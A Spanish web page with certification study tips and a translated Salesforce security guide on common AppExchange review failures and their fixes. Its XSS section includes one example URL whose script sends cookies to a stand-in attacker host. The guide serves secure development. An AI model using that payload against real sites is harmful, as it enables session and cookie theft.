¿Mencioné la guía del examen?… ¡Úsala en serio! https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

Literalmente creé mi propio documento a partir de él y desglosé cada elemento, definí la lógica y las consideraciones, escribir y estructurar me ayuda a digerir y reforzar algunos conceptos. Por ejemplo, escribí este artículo disponible públicamente para Pardot hace bastantes años, solo para darle una idea.

Hablando de empirismo, en general, mi mejor recurso es… ¡una organización de edición para desarrolladores! ¡Donde pruebo todo y más! Practica, practica, practica: soy un poco de la vieja escuela en eso: toma el desglose de la guía de certificados para cada elemento, define la lógica y luego juega con ella.

Algunos de los contenidos de este en particular pueden ser un poco más complicados, como grandes volúmenes de datos, pero afortunadamente he estado en algunos proyectos relevantes incluso recientemente, lo que siempre ayuda. También el año pasado con el Sr. Agente Gill 😉

Aunque se escribió hace bastante tiempo, este artículo sigue siendo una lectura muy relevante https://developer.salesforce.com/blogs/engineering/2013/06/extracting-large-data-volume-ldv-in-force-com, y que le permitirá revisar PK Chunking y Bulk API.

Siguiendo con más contenido de la vieja escuela de "antaño", consulte la serie de Extreme Force.com, aquí está la Parte 1: https://developer.salesforce.com/blogs/engineering/2013/02/extreme- carga-de-datos-de-salesforce-parte-1-ajuste-su-modelo-de-datos

Probablemente también sugeriría ignorar sus patrones de diseño de integración, lo que le ayudará a guiar algunas decisiones de respuesta: https://developer.salesforce.com/docs/atlas.en-us.integration_patterns_and_practices.meta/integration_patterns_and_practices/integ_pat_intro_overview.htm

Hacer una combinación de escribirlo yo mismo, probar los conceptos, luego ver algunos videos sobre el mismo concepto y leer más me ayudó a mantenerme concentrado.

Consejos

Como sabe, no puedo darle ningún detalle, eso sería una violación de los términos y condiciones del programa de certificación y tiene consecuencias graves, tanto para quienes comparten como para quienes utilizan cualquier información expuesta del examen.

Lo que te puedo decir es que deberías revisar:

  • Cuándo o cuándo no usar Cuentas personales (esa es la vista de Salesforce, por encima de su opinión)
  • Cómo mejorar la calidad de los datos en toda su pila tecnológica
  • Cuándo o cuándo no utilizar Rollups
  • Qué API usar cuando
  • Cómo manejar grandes volúmenes de datos (es decir, carga, rendimiento, exportación, cosas como compartir, bloqueos, etc.)
  • Cuándo o cuándo no utilizar relaciones maestro-detalle
  • Qué tipo de integración usar y cuándo
  • Cómo capturar y gestionar metadatos
  • Cuándo y cuándo no utilizar objetos grandes y objetos externos
  • Gestión de datos maestros
  • Gobernanza: cumplimiento y funcionalidad relacionada

Seguramente me he perdido algo, pero eso es lo más importante en este momento. Consulte y trabaje con su guía de examen: https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

¿Qué estás haciendo?

Recuerde también: el objetivo no es simplemente aprobar un examen, sino demostrar que ya tiene el conocimiento y la experiencia.

Ahora es tu turno: ¿Para qué certificación estás trabajando? ¿Cuál es su enfoque?

¡Cuéntanos y etiquétanos para que podamos celebrar contigo!

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

